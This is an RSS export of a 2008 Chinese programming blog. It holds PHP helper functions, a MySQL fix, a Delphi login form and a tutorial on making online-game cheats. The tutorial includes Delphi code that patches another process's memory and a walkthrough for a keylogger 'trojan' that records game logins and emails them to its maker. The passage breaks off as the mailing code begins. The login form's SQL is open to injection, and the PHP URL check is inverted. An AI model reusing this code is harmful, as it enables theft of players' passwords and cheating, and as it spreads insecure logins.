		$Sw =str_replace("\t","    ",$Sw);
		$Sw =str_replace("?","&amp;##8226;",$Sw);
		return $Sw;
	}

	/**
 * 
 *返回指时间内是否大于当前系统时差 暂只做月的
 * @param timespace$cimTime
 * @param int $comLength
 * @param string $type
 * @return bool
 */
	function timeOut($cimTime,$comLength=1,$type='M')
	{
		$type=strtoupper($type);
		$thisSystemTime=time();//当前时间
		$cimTime=intval($cimTime);
		if($cimTime==$thisSystemTime)return true;//如果时间相同刚为通过状态
		$dateArray=getdate($cimTime);//返回时间数组
		if($type=="M")//是否大于指定月的
		{
			$monthDay=date("t",Function_Class::returnNextMonthDay($cimTime,$comLength));//返回当前时间月分的天数
			$comthietime=$cimTime+($comLength*$monthDay*24*60*60);
			if($comthietime&lt;$thisSystemTime) return true; //过期
			else
			return false; //没有过期
		}
	}
	/**
 *
 * @param 间间隔 $timespace
 * @param 指时的时长 $comLength
 * @return 时间间隔
 */
	function returnNextMonthDay($timespace,$comLength)
	{
		for ($i=1;$i&lt;=$comLength;$i++)
		{
			$monthDay=date("t",$timespace);//返回当前时间月分的天数
			$timespace=$timespace+($monthDay*24*60*60);//得到指定时间内加一这本月实际天数,既当前月再加一个月,如果$comLength&gt;2以上则拿加后下一个月的天数再加一个月
		}
		return $timespace;
	}

	/**
	 * 返回指定内容,对应数据关键字段用指定符号分开
	 *
	 * @param obj $SpiltObj  数据
	 * @param bool $isquest  是否为数据集  不是则为数组
	 * @param string  $splitKey 要得到键名的
	 * @param string $isaddActionString  开头是否加入指定默认值 
	 * @param string  $splitString 要分割的字符串
	 * @return unknown
	 */
	function expSplit($SpiltObj,$isquest=false,$splitKey,$isaddActionString="-1",$splitString=',')
	{
		/*是数据集*/
		$SpString="";
		if($isquest)
		{
			$SpString=$isaddActionString;
			while ($rt=mysql_fetch_array($SpiltObj)) {
				if(empty($SpString)||$SpString=="")
				$SpString=$rt[$splitKey];
				else
				$SpString.=$splitString.$rt[$splitKey];
			}
			unset($SpiltObj);
			return $SpString;
		}
		else//是数据组
		{
			$SpString=$isaddActionString;
			foreach ($SpiltObj as $key=&gt;$val)
			{
				if(empty($SpString)||$SpString=="")
				$SpString=$val[$splitKey];
				else
				$SpString.=$splitString.$val[$splitKey];
			}
			unset($SpiltObj);
			return $SpString;
		}
		return $SpString;
	}

	/**
	 * 字符串加解密
	 *
	 * $str=$Function_Class-&gt;strCode("abc","哈哈","ENCODE");
	 *$str=$Function_Class-&gt;strCode($str,"哈哈","DECODE");
	 * 
	 * 
	 * @param string $string  要处理的字符串
	 * @param string $offKey  加密的偏移量    为空则为拿当前用户请求的IP
	 * @param string $action  ENCODE加密    DECODE解密
	 * @return string
	 */
	function StrCode($string,$offKey="",$action='ENCODE'){
		if($offKey=="")
		$key	= substr(md5($_SERVER["HTTP_USER_AGENT"]),8,18);
		else
		$key=substr(md5($offKey),8,18);
		unset($offKey);
		$string	= $action == 'ENCODE' ? $string : base64_decode($string);
		$len	= strlen($key);
		$code	= '';
		for($i=0; $i&lt;strlen($string); $i++){
			$k		= $i % $len;
			$code  .= $string[$i] ^ $key[$k];
		}
		$code = $action == 'DECODE' ? $code : base64_encode($code);
		return $code;
	}
	/**
	 * 删除指定文件
	 *
	 * @param string $filename
	 */
	function P_unlink($filename){
		strpos($filename,'..')!==false &amp;&amp; exit('Forbidden');
		@unlink($filename);
	}

	/**
	 * 跳转到指定文件地址
	 *
	 * @param string $URL
	 */
	function refreshto($URL){
		header("Location: $URL");exit;
	}

	/**
	 * 返回日期时间格式
	 *
	 * @param int $timestamp  时间隔
	 * @param string $timeformat   返回格式
	 * @return string
	 */
	function get_date($timestamp,$timeformat=''){
		global $db_datefm,$_datefm,$_timedf;
		$date_show=$timeformat ? $timeformat : ($_datefm ? $_datefm : $db_datefm);
		return date($date_show,$timestamp+$_timedf*60);
	}

	/**
	 * 返回随机字符串 
	 *
	 * @param int $length 要返回的长度
	 * @param int $mode  随机字符串的模式,提供了6种模式产生随机字符串
	 * @return unknown
	 */
	function getRandomCode ($length = 32, $mode = 0)
	{
		switch ($mode) {
			case '1':
				$str = '123456789';
				break;
			case '2':
				$str = 'abcdefghijklmnopqrstuvwxyz';
				break;
			case '3':
				$str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
				break;
			case '4':
				$str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
				break;
			case '5':
				$str = 'ABCDEFGHIJKLMNPQRSTUVWXYZ123456789';
				break;
			case '6':
				$str = 'abcdefghijklmnopqrstuvwxyz1234567890';
				break;
			default:
				$str = 'ABCDEFGHIJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789';
				break;
		}

		$result = '';
		$l = strlen($str)-1;
		for($i = 0;$i &lt; $length;$i ++){
			$num = rand(0, $l);
			$result .= $str[$num];
		}
		return $result;
	}

	/**
	 * 返回整数/或者浮点数的随机数
	 *
	 * @param int $lenth  返回的长度
	 * @return  string
	 */
	function num_rand($lenth){
		mt_srand((double)microtime() * 1000000);
		for($i=0;$i&lt;$lenth;$i++){
			$randval.= mt_rand(0,9);
		}
		return $randval;
	}

	/**
	 *返回UTF8转GB2312字符串
	 *
	 * @param string $name  UTF8字符
	 * @return string
	 */
	function utf8ToGb2312($name)
	{
		$tostr = "";
		for($i=0;$i&lt;strlen($name);$i++)
		{
			$curbin = ord(substr($name,$i,1));
			if($curbin &lt; 0x80)
			{
				$tostr .= substr($name,$i,1);
			}elseif($curbin &lt; bindec("11000000")){
				$str = substr($name,$i,1);
				$tostr .= "&amp;#".ord($str).";";
			}elseif($curbin &lt; bindec("11100000")){
				$str = substr($name,$i,2);
				$tostr .= "&amp;#".GetUnicodeChar($str).";";
				$i += 1;
			}elseif($curbin &lt; bindec("11110000")){
				$str = substr($name,$i,3);
				$gstr= iconv("UTF-8","GB2312",$str);
				if(!$gstr)
				{
					$tostr .= "&amp;#".GetUnicodeChar($str).";";
				}else{
					$tostr .= $gstr;
				}

				$i += 2;
			}elseif($curbin &lt; bindec("11111000")){
				$str = substr($name,$i,4);
				$tostr .= "&amp;#".GetUnicodeChar($str).";";

				$i += 3;
			}elseif($curbin &lt; bindec("11111100")){
				$str = substr($name,$i,5);
				$tostr .= "&amp;#".GetUnicodeChar($str).";";

				$i += 4;
			}else{
				$str = substr($name,$i,6);
				$tostr .= "&amp;#".GetUnicodeChar($str).";";

				$i += 5;
			}
		}
		return $tostr;
	}

	/**
  * 返回GB2312转UTF8字符集
  *
  * @param string $c  GB2312字符
  * @return string
  */
	function gb2312ToUtf8($c) {
		return iconv("GB2312","UTF-8",$c);
	}

	/**
	 * 格式化页数为数字形变量
	 *
	 * @param string/int $page  传引用变量参数
	 */ 
	function Page_cv(&amp;$page){
	(!is_numeric($page) || $page &lt; 1) &amp;&amp; $page = 1;
	}

	/**
	 * 检查ID串入面是否不包括数字的ID,如果有刚返回FALSE
	 *
	 * @param string $selid  ID串
	 * @param string $splitString  分格字符串
	 * @return bool or string
	 */
	function checkselid($selid,$splitString=","){
		if(!$selid)return false;
		if(is_array($selid)){
			$extra=$ret='';
			foreach($selid as $key =&gt; $value){
				if(!is_numeric($value)) return false;
				$ret.=$extra.$value;  $extra=$splitString;
			}
			return $ret;
		}
		else{
			$dataarray=explode($splitString,$selid);
			$isokdata=$this-&gt;checkselid($dataarray,$splitString);
			if($isokdata==false) return false;
			else 	return $isokdata;
		}
	}

	/**
	 * 检查传入来的URL是否正确
	 *
	 * @param stirng $checkUrl 
	 * @return bool
	 */
	function validateUrl($checkUrl)
	{
		if(!ereg("^(http|https|ftp)://((([a-zA-Z0-9-]+.){1,}[a-zA-Z]{2,4})|(localhost))(:[0-9]+){0,1}(/[a-zA-Z0-9-_,./+&amp;%$#=~]+)*$",$checkUrl))
		return true;
		else return false;
	}


	/**
	 * 返回保存目录信息
	 *
	 * @param defined $rootR_P  根目录
	 * @param bool $Transcoding 是否要生成转码目录
	 * @param string $server_type  应用类型,是加在目录前做来标识用
	 * @param string $attachpath  保存的第一级目录
	 * @param string $DirType  保存目录格式类型
	 * @return array  
	 */
	function CreateAttachmentDir($rootR_P,$Transcoding=false,$server_type="",$attachpath="attachment",$DirType="M")
	{
		if($attachpath=="") return false;
		$DirType=strtoupper($DirType);
		$Folder=array();
		$savedir="";
		switch ($DirType)
		{
			case 'Y':$savedir = $server_type.'_Year_'.date('Y');break;
			case 'M':$savedir = $server_type.'_Mon_'.date('ym');break;
			case 'D':$savedir = $server_type.'_Day_'.date('ymd');break;
			default:$savedir = $server_type.'_Mon_'.date('ym');break;
		}
		if(!is_dir($rootR_P."$attachpath")) {
			@mkdir($rootR_P."$attachpath");
			@chmod($rootR_P."$attachpath", 0777);
			@fclose(@fopen($rootR_P."$attachpath".'/index.html', 'w'));
			@chmod($rootR_P."$attachpath".'/index.html', 0777);
		}
		if(!is_dir($rootR_P."$attachpath/$savedir")) {
			@mkdir($rootR_P."$attachpath/$savedir");
			@chmod($rootR_P."$attachpath/$savedir", 0777);
			@fclose(@fopen($rootR_P."$attachpath/$savedir".'/index.html', 'w'));
			@chmod($rootR_P."$attachpath/$savedir".'/index.html', 0777);
		}
		$source=$rootR_P."$attachpath/$savedir";
		if(!is_dir($rootR_P."$attachpath/$savedir/image")) {
			@mkdir($rootR_P."$attachpath/$savedir/image");
			@chmod($rootR_P."$attachpath/$savedir/image", 0777);
			@fclose(@fopen($rootR_P."$attachpath/$savedir/image".'/index.html', 'w'));
			@chmod($rootR_P."$attachpath/$savedir/image".'/index.html', 0777);
		}
		if(!$Transcoding)
		{
			$source.="/image";
			$savedir.="/image";
		}
		$Folder["parent_folder"]=$attachpath;
		$Folder["child_folder"]=$savedir;
		$Folder["save_folder"]=$source;
		return $Folder;
	}
	
	/**
	 * 生成分割标签的HTML
	 *
	 * @param string $tags 标签
	 * @param string $requestPage请法度的地址
	 * @param string $className 连接的样式
	 * @return string
	 */
	function splitTabs($tags,$requestPage,$className)
	{
		if(empty($tags)) return "";
		$data=explode(",",$tags);
		$html=" ";
		$href="";
		foreach ($data as $key=&gt;$value)
		{
			$tempvalue=rawurlencode($value);
			if(empty($requestPage))$href="javascript:void(0);";
			else 
				$href=$requestPage.$tempvalue;
			$html.="  &lt;a href='".$href."' class='$className'&gt;$value&lt;/a&gt;";
			unset($tempvalue);
		}
		unset($href,$requestPage);
		return $html;
	}
}
?&gt;</pre>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/203200#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 14 Jun 2008 10:37:42 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/203200</link>
        <guid>http://kenter1643.javaeye.com/blog/203200</guid>
      </item>
      <item>
        <title>mysql启动错误</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/191163" style="color:red;">http://kenter1643.javaeye.com/blog/191163</a>&nbsp;
          发表时间: 2008年05月08日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>解决方法</p>
<p>/etc/my.cnf</p>
<p>注销下面两个</p>
<p>#log-bin=mysql-bin<br />#server-id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 1</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/191163#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 08 May 2008 17:38:31 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/191163</link>
        <guid>http://kenter1643.javaeye.com/blog/191163</guid>
      </item>
      <item>
        <title>asp后门文件</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/189053" style="color:red;">http://kenter1643.javaeye.com/blog/189053</a>&nbsp;
          发表时间: 2008年05月03日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>asp后门文件</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/189053#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 03 May 2008 15:17:43 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/189053</link>
        <guid>http://kenter1643.javaeye.com/blog/189053</guid>
      </item>
      <item>
        <title>delphi中登录窗体完美实现办法</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/184737" style="color:red;">http://kenter1643.javaeye.com/blog/184737</a>&nbsp;
          发表时间: 2008年04月21日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          工程文件

 

program stuResult;

uses
  Forms,
  controls,
  login in 'login.pas' {loginform},
  MainFrm in 'MainFrm.pas' {mainform},
  resultFrm in 'resultFrm.pas' {resultform},
  dmFrm in 'dmFrm.pas' {DM: TDataModule},
  termAdd in 'termAdd.pas' {termForm},
  classAdd in 'classAdd.pas' {classForm},
  courseAdd in 'courseAdd.pas' {courseForm},
  specialFrm in 'specialFrm.pas' {specialForm},
  specialBrowseFrm in 'specialBrowseFrm.pas' {specialBrowseForm},
  specialModifyFrm in 'specialModifyFrm.pas' {specialModifyForm},
  studentFrm in 'studentFrm.pas' {studentForm},
  userfrm in 'userfrm.pas' {userForm},
  about in 'about.pas' {AboutBox},
  sysSetFrm in 'sysSetFrm.pas' {sysSetForm};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TDM, DM);
  Application.CreateForm(Tmainform, mainform); //主窗体MDI和登录窗体fsNormal的visible属性为false
  loginform:=Tloginform.Create(Application);
  loginform.ShowModal;
  application.Run;
end.

 

登录窗体

 

procedure Tloginform.Button1Click(Sender: TObject);
begin
  DM.ADOQuery1.Close;
  DM.ADOQuery1.SQL.Clear;
  DM.ADOQuery1.SQL.Text:='Select * From tbUser where 用户名='''+Edit1.Text+''' and 密码='''+edit2.Text+'''';
  DM.ADOQuery1.Open;
  if DM.ADOQuery1.Bof and DM.ADOQuery1.Eof then
    begin
      Application.MessageBox('用户名或密码错误','出错',0+48);
      Edit1.SetFocus;
      Edit1.SelectAll;
    end
  else
    begin
      mainform.Show;
      loginform.Hide;
      loginform.FreeOnRelease;
    end;
end;


 
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/184737#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 21 Apr 2008 09:50:17 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/184737</link>
        <guid>http://kenter1643.javaeye.com/blog/184737</guid>
      </item>
      <item>
        <title>delphi一些制作外挂知识</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/183545" style="color:red;">http://kenter1643.javaeye.com/blog/183545</a>&nbsp;
          发表时间: 2008年04月16日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p><span>在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：<br />1、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的&ldquo;石器&rdquo;外挂就是这种方式。<br />2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，&ldquo;精灵&rdquo;的外挂这是这种方式写成的，它的难点在于找到那些地址码，找地址一般地要借助于别人的工具，有的游戏还有双码校验，正正找起来会比较困难。<br />3、木马式，这种外挂的目的是帮外挂制作者偷到用户的密码，做这种外挂有一定的难度，需要HOOK或键盘监视技术做底子，才可以完成，它的原理是先首截了用户的帐号或密码，然后发到指定邮箱。<br />4、加速式，这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。<br />5、封包式，这种外挂是高难度外挂，需要有很强的编程功力才可以写得出来。它的原理是先截取封包，后修改，再转发。这种外挂适用于大多数网络游戏，像WPE及一些网络游戏外挂都是用这种方式写成的，编写这种外挂需要apihook技术，winsock2技术&hellip;&hellip;&hellip;&hellip;<br />　 以下就用Delphi实现网络游戏外挂。 <br />===================================================================================<br />上回对五种类型的外挂做了一个大体的概括，大家对这几种外挂都有了一定的了解，现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~<br />首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。<br />记得还在&ldquo;石器&rdquo;时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：<br />1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到API函数GetCursorPos，它的使用方法如下：<br />BOOL GetCursorPos(<br /><br />LPPOINT lpPoint // address of structure for cursor position <br />);<br />2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：<br />BOOL SetCursorPos(<br /><br />int X, // horizontal position <br />int Y // vertical position<br />);<br />3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：<br />VOID mouse_event(<br /><br />DWORD dwFlags, // flags specifying various motion/click variants<br />DWORD dx, // horizontal mouse position or position change<br />DWORD dy, // vertical mouse position or position change<br />DWORD dwData, // amount of wheel movement<br />DWORD dwExtraInfo // 32 bits of application-defined information<br />);<br />在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~<br />好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：<br /><br />getcursorpos(point);<br />setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数<br />mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br />mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br />setcursorpos(point.x,point.y);<br /><br />看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：<br />VOID keybd_event(<br /><br />BYTE bVk, // virtual-key code<br />BYTE bScan, // hardware scan code<br />DWORD dwFlags, // flags specifying various function options<br />DWORD dwExtraInfo // additional data associated with keystroke<br />);<br />我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：<br />UINT MapVirtualKey(<br /><br />UINT uCode, // virtual-key code or scan code<br />UINT uMapType // translation to perform<br />);<br />好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：<br /><br />keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);<br />keybd_event(65,mapvirtualkey(65,0),0,0);<br />keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);<br />keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);<br /><br />首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。<br />（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~） <br />===============================================================<br />上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂&mdash;&mdash;本地修改式外挂的整个制作过程进行一个详细的分解。<br />具我所知，本地修改式外挂最典型的应用就是在&ldquo;精灵&rdquo;游戏上面，因为我在近一年前（&ldquo;精灵&rdquo;还在测试阶段），我所在的公司里有很多同事玩&ldquo;精灵&rdquo;，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来&ldquo;精灵&rdquo;又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：<br />在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：<br />1、首先我们要用FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：<br />HWND FindWindow(<br /><br />LPCTSTR lpClassName, // pointer to class name<br />LPCTSTR lpWindowName // pointer to window name<br />);<br />2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：<br />DWORD GetWindowThreadProcessId(<br /><br />HWND hWnd, // handle of window<br />LPDWORD lpdwProcessId // address of variable for process identifier<br />);<br />3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：<br />HANDLE OpenProcess(<br /><br />DWORD dwDesiredAccess, // access flag <br />BOOL bInheritHandle, // handle inheritance flag <br />DWORD dwProcessId // process identifier <br />);<br />在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。<br />4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：<br />BOOL WriteProcessMemory(<br /><br />HANDLE hProcess, // handle to process whose memory is written to <br />LPVOID lpBaseAddress, // address to start writing to <br />LPVOID lpBuffer, // pointer to buffer to write data to<br />DWORD nSize, // number of bytes to write<br />LPDWORD lpNumberOfBytesWritten // actual number of bytes written <br />);<br />5、下面用CloseHandle关闭进程句柄就完成了。<br />这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：<br />const<br />ResourceOffset: dword = $004219F4;<br />resource: dword = 3113226621;<br />ResourceOffset1: dword = $004219F8;<br />resource1: dword = 1940000000;<br />ResourceOffset2: dword = $0043FA50;<br />resource2: dword = 1280185;<br />ResourceOffset3: dword = $0043FA54;<br />resource3: dword = 3163064576;<br />ResourceOffset4: dword = $0043FA58;<br />resource4: dword = 2298478592;<br />var<br />hw: HWND;<br />pid: dword;<br />h: THandle;<br />tt: Cardinal;<br />begin<br />hw := FindWindow('XX', nil);<br />if hw = 0 then<br />Exit;<br />GetWindowThreadProcessId(hw, @pid);<br />h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);<br />if h = 0 then<br />Exit;<br />if flatcheckbox1.Checked=true then<br />begin<br />WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);<br />WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);<br />end;<br />if flatcheckbox2.Checked=true then<br />begin<br />WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);<br />WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);<br />WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);<br />end;<br />MessageBeep(0);<br />CloseHandle(h);<br />close;<br />这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。 <br />================================================================<br />以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如HOOK，键盘监视等技术），因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。<br />在做程序之前我们必需要了解一下程序的思路：<br />1、我们首先知道你想记录游戏的登录窗口名称。<br />2、判断登录窗口是否出现。<br />3、如果登录窗口出现，就记录键盘。<br />4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。<br />第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：<br />那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：<br />HWND FindWindow(<br /><br />LPCTSTR lpClassName, // pointer to class name<br />LPCTSTR lpWindowName // pointer to window name<br />);<br />实际程序实现中，我们要找到'xx'窗口，就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。<br />先首我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：<br />HHOOK SetWindowsHookEx(<br /><br />int idHook, // type of hook to install<br />HOOKPROC lpfn, // address of hook procedure<br />HINSTANCE hMod, // handle of application instance<br />DWORD dwThreadId // identity of thread to install hook for <br />); <br />在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：<br />hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); <br />而HOOKPROC里的函数就要复杂一点点：<br />function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; <br />begin <br />if findedtitle then //如果发现窗口后<br />begin <br />if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下<br />hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。<br />if length(hookkey) &gt; 0 then //如果获得按键名称<br />begin <br />Write(hookkeyFile,hookkey); //把按键名称写入文本文件<br />hookkey := ''; <br />end; <br />end; <br />end; <br />以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而hHOOK,就是创建setwindowshookex后所返回的句柄。<br />我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：<br />assignfile(ReadFile,'hook.txt'); 